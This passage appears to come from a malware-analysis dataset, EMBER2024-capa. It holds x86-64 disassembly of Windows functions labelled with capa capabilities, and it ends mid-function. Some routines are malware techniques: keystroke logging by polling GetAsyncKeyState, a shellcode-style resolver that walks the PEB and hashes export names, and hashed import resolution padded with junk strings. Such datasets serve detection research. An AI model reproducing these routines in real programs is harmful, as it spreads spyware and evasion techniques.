joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400204d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5ca8], 0
lea rbx, [rcx + 0x5cb0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140020577
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14002052a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140022a20
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140009f80
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5ca8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5cb8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140092848]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002057f
mov rcx, rbx
call fcn.140009f80
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x1400209f0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140092850]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140020a53
mov qword [rsp], rbx
lea rbx, [0x140074810]
nop dword [rax]
cmp r9b, 0x23
jne 0x140020a33
cmp byte [r8], r9b
jne 0x140020a33
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140020a20
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c20]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140020a87
mov r10, qword [r10 + 0x5c28]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140020a8e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140020a74
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140056cc0
Capabilities:
Get session user name

Disassembly:
push rbx
sub rsp, 0x390
vmovaps xmmword [rsp + 0x380], xmm6
mov rax, qword [0x140089040]
xor rax, rsp
mov qword [rsp + 0x370], rax
cmp byte [0x1400915c1], 0
je 0x140056ee8
mov rax, qword [0x140092850]
or dword [rax + 0x47d0], 0x40
mov dword [rax + 0x4830], 0x3eb33333
xor edx, edx
lea r8d, [rdx + 0x63]
lea rcx, str.Aeonix_Watermark
call fcn.140013c80
mov rax, qword [0x140092850]
vmovss xmm0, dword [rax + 0xe0]
vmovss dword [0x1400915f8], xmm0
cmp byte [0x1400915c0], 0
je 0x140056d47
lea rcx, str.Aeonix
call fcn.14003bf70
vmovss xmm6, dword [0x14007c118]
vmovaps xmm1, xmm6
call fcn.140019740
cmp byte [0x1400915c0], 0
je 0x140056d88
cmp byte [0x1400915b1], 0
jne 0x140056d7c
cmp byte [0x1400915f5], 0
jne 0x140056d7c
cmp byte [0x1400915f6], 0
je 0x140056d88
lea rcx, [0x140079c88]
call fcn.14003bf70
vmovaps xmm1, xmm6
call fcn.140019740
mov dword [rsp + 0x30], 0x100
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xor ebx, ebx
test eax, eax
je 0x140056df4
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, [rsp + 0x170]
mov r8d, 0x100
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
test eax, eax
jne 0x140056df4
cmp byte [0x1400915b1], bl
je 0x140056df4
lea rcx, [rsp + 0x70]
call fcn.14003bf70
vmovaps xmm1, xmm6
call fcn.140019740
cmp byte [0x1400915b1], bl
je 0x140056e21
cmp byte [0x1400915f5], bl
jne 0x140056e15
cmp byte [0x1400915f6], bl
je 0x140056e21
lea rcx, [0x140079c88]
call fcn.14003bf70
vmovaps xmm1, xmm6
call fcn.140019740
cmp byte [0x1400915f5], bl
je 0x140056e56
vxorps xmm0, xmm0, xmm0
vmovss xmm1, dword [0x1400915f8]
vucomiss xmm1, xmm0
je 0x140056e48
vcvttss2si ebx, xmm1
mov edx, ebx
lea rcx, str._d_fps
call fcn.14003bf70
vmovaps xmm1, xmm6
call fcn.140019740
cmp byte [0x1400915f5], 0
je 0x140056e7d
cmp byte [0x1400915f6], 0
je 0x140056e7d
lea rcx, [0x140079c88]
call fcn.14003bf70
vmovaps xmm1, xmm6
call fcn.140019740
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x40], rdx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
test eax, eax
jne 0x140056ee8
cmp byte [0x1400915f6], al
je 0x140056ee8
mov r9d, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x50]
lea rcx, str._02d:_02d:_02d
call fcn.14003bf70
call fcn.140015e90
nop
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.14006a140
vmovaps xmm6, xmmword [rsp + 0x380]
add rsp, 0x390
pop rbx
ret
Function at 0x14005a150
Capabilities:
Log keystrokes via polling

Disassembly:
push rdi
sub rsp, 0x20
movzx eax, byte [0x1400932a4]
mov rdi, rcx
test al, al
jne 0x14005a18c
movsxd rax, dword [rcx]
lea rcx, [0x1400790f0]
mov rcx, qword [rcx + rax*8]
call fcn.14003c920
test al, al
je 0x14005a29e
mov byte [0x1400932a4], 1
add rsp, 0x20
pop rdi
ret
cmp al, 1
jne 0x14005a29e
mov qword [rsp + 0x30], rbx
lea rcx, [0x1400737f0]
mov qword [rsp + 0x48], rsi
call fcn.14003c920
lea rcx, [rsp + 0x40]
call fcn.140056120
mov rbx, qword [rsp + 0x40]
movabs rax, 0x7ffffffffbd3e27f
cmp rbx, rax
jge 0x14005a1d1
add rbx, 0x42c1d80
jmp 0x14005a1db
movabs rbx, 0x7fffffffffffffff
lea rcx, [rsp + 0x40]
call fcn.140056120
mov rax, qword [rsp + 0x40]
cmp rax, rbx
jge 0x14005a265
mov qword [rsp + 0x38], rbp
movabs rsi, 0x4e94914f0000
movabs rbp, 0x431bde82d7b634db
nop dword [rax + rax]
mov rcx, rbx
sub rcx, rax
cmp rcx, rsi
jl 0x14005a222
mov ecx, 0x5265c00
jmp 0x14005a247
mov rax, rbp
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14005a245
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rsp + 0x40]
call fcn.140056120
mov rax, qword [rsp + 0x40]
cmp rax, rbx
jl 0x14005a210
mov rbp, qword [rsp + 0x38]
lea rbx, [0x140078e50]
lea rsi, [0x1400790e8]
mov ecx, dword [rbx]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14005a28b
mov eax, dword [rbx]
mov dword [rdi], eax
mov byte [0x1400932a4], 0
add rbx, 4
cmp rbx, rsi
jne 0x14005a273
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140060240
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400602a1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140060260
mov ecx, dword [r9]
jmp 0x14006038b
cmp ecx, 0x4e0
jb 0x14006038b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400602c0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140060310
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140067be0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140089040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140067c0d
xor eax, eax
jmp 0x140067d79
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140067c47
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140067c47
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140067d79
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140067d6c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140067c8a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140067cb5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140067d71
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140067d24
sub eax, 1
je 0x140067d24
cmp eax, 2
jne 0x140067d6c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140067d71
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140067d52
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140067d6c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140067d71
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14006a140
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400680b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140089040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140068183
cmp byte [rcx + 0x71], 0
je 0x140068183
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14006817f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140068144
sub eax, 1
je 0x140068148
cmp eax, 2
jne 0x14006817f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006a140
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140068176
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14006817f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14006812c
xor al, al
jmp 0x14006812c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006a140
add rsp, 0x60
pop rbx
ret

Function at 0x14006974c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140069786
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14006978b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400697d4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140072c80]
cmp byte [rcx + rax], 0
je 0x1400697d4
dec r8
sub rdx, 1
jne 0x1400697ba
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14006ae3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006ae86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006ae86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006ae86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006ae86
cmp dword [rcx + 0x84], 0xe
jbe 0x14006ae86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006ae88
xor al, al
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rcx
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
push rax
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400097a0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400097c2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000983c
mov rdi, r14
mov rcx, rbx
call fcn.14000c8f0
test rax, rax
jle 0x140009814
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400a8cd0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000982c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x140009834
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400097d6
sub r14, rdi
jmp 0x14000991f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140009853
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140009855
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140009887
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400a8cd0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000991c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400098c2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1400098fd
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400b7718
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000991c
cmp rbp, rax
ja 0x1400098d0
test rbp, rbp
je 0x14000991c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400b7718
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x1400112b0
Capabilities:
Encode data using xor

Disassembly:
movzx eax, byte [rcx]
mov r8d, 0x25
test al, al
je 0x1400112de
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
imul edx, eax, 0x12ca3
movzx eax, byte [rcx]
imul r8d, r8d, 0xd32b
xor r8d, edx
test al, al
jne 0x1400112c0
mov eax, r8d
ret

Function at 0x1400112f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov edi, edx
mov r9, rcx
test rcx, rcx
je 0x1400113c1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400113c1
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
je 0x1400113c1
add rax, 0x18
je 0x1400113c1
mov eax, dword [rax + 0x70]
add rax, rcx
je 0x1400113c1
mov esi, dword [rax + 0x1c]
xor r10d, r10d
mov r11d, dword [rax + 0x20]
add rsi, rcx
mov ebp, dword [rax + 0x24]
add r11, rcx
mov ebx, dword [rax + 0x18]
add rbp, rcx
test ebx, ebx
je 0x1400113c1
mov eax, dword [r11]
mov r8d, 0x25
add rax, r9
movzx ecx, byte [rax]
test cl, cl
je 0x14001139e
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
imul edx, ecx, 0x12ca3
movzx ecx, byte [rax]
imul r8d, r8d, 0xd32b
xor r8d, edx
test cl, cl
jne 0x140011380
cmp r8d, edi
je 0x1400113b1
inc r10d
add r11, 4
cmp r10d, ebx
jb 0x140011360
jmp 0x1400113c1
movsxd rax, r10d
movzx ecx, word [rbp + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r9
jmp 0x1400113c3
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x14001bd40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
movsd qword [rsp + 0x18], xmm2
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x1a8
mov rax, qword [0x1401288b0]
xor rax, rsp
mov qword [rsp + 0x198], rax
mov dword [rsp + 0x38], 0x5f
mov byte [rsp + 0x23], 0
lea rdx, str.zhqdcmriifx
lea rcx, [rsp + 0x178]
call fcn.14000ad10
nop
lea rdx, str.iahgxygpaafyxnddzsjwajllowrnlycsekcvvceaqsqmewkednelbwp
lea rcx, [rsp + 0x158]
call fcn.14000ad10
nop
lea rdx, [0x14010f9d0]
lea rcx, [rsp + 0x138]
call fcn.14000ad10
nop
movsd xmm0, qword [0x140110f70]
movsd qword [rsp + 0x90], xmm0
mov dword [rsp + 0x3c], 0xa16
lea rdx, str.bfxrtjhjlub
lea rcx, [rsp + 0x118]
call fcn.14000ad10
nop
xor eax, eax
cmp eax, 1
je 0x14001be0d
mov dword [rsp + 0x24], gethostname
jmp 0x14001be02
mov eax, dword [rsp + 0x24]
dec eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jle 0x14001be0d
jmp 0x14001bdf8
lea rdx, [0x14010f9d0]
lea rcx, [rsp + 0xb8]
call fcn.14000ad10
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
lea rdx, [0x14010f9d0]
lea rcx, [rsp + 0x98]
call fcn.14000ad10
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140010a40
movzx eax, al
test eax, eax
jne 0x14001be7d
mov dword [rsp + 0x30], 1
jmp 0x14001be85
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x98]
call fcn.140005bd0
nop
lea rcx, [rsp + 0xb8]
call fcn.140005bd0
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x14001bed1
mov dword [rsp + 0x28], 0x47
jmp 0x14001bec6
mov eax, dword [rsp + 0x28]
dec eax
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jle 0x14001bed1
jmp 0x14001bebc
lea rdx, str.zhqdcmriifx
lea rcx, [rsp + 0xf8]
call fcn.14000ad10
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x80], rax
lea rdx, str.zhqdcmriifx
lea rcx, [rsp + 0xd8]
call fcn.14000ad10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call fcn.140010a40
movzx eax, al
test eax, eax
jne 0x14001bf4d
mov dword [rsp + 0x34], 1
jmp 0x14001bf55
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0xd8]
call fcn.140005bd0
nop
lea rcx, [rsp + 0xf8]
call fcn.140005bd0
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x14001bfa1
mov dword [rsp + 0x2c], 9
jmp 0x14001bf96
mov eax, dword [rsp + 0x2c]
dec eax
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0
jle 0x14001bfa1
jmp 0x14001bf8c
mov byte [rsp + 0x22], 0
lea rcx, [rsp + 0x118]
call fcn.140005bd0
nop
lea rcx, [rsp + 0x138]
call fcn.140005bd0
nop
lea rcx, [rsp + 0x158]
call fcn.140005bd0
nop
lea rcx, [rsp + 0x178]
call fcn.140005bd0
nop
mov rcx, qword [rsp + 0x1b0]
call fcn.140005bd0
movzx eax, byte [rsp + 0x22]
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.1400a67b0
add rsp, 0x1a8
ret
Function at 0x140026be0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
mov rax, qword [0x1401288b0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x38], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x68]
call fcn.140027fc0
nop
lea rax, [0x140028080]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x90]
add rax, 8
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
xor edx, edx
xor ecx, ecx
call fcn.1400b7fc4
mov rcx, qword [rsp + 0x90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90]
cmp qword [rax], 0
je 0x140026cc1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
jmp 0x140026cdb
mov rax, qword [rsp + 0x90]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400a60d8
nop
lea rcx, [rsp + 0x68]
call fcn.140027490
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400a67b0
add rsp, 0x80
pop rdi
ret
Function at 0x140031950
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140031a32
call fcn.140048c90
test al, al
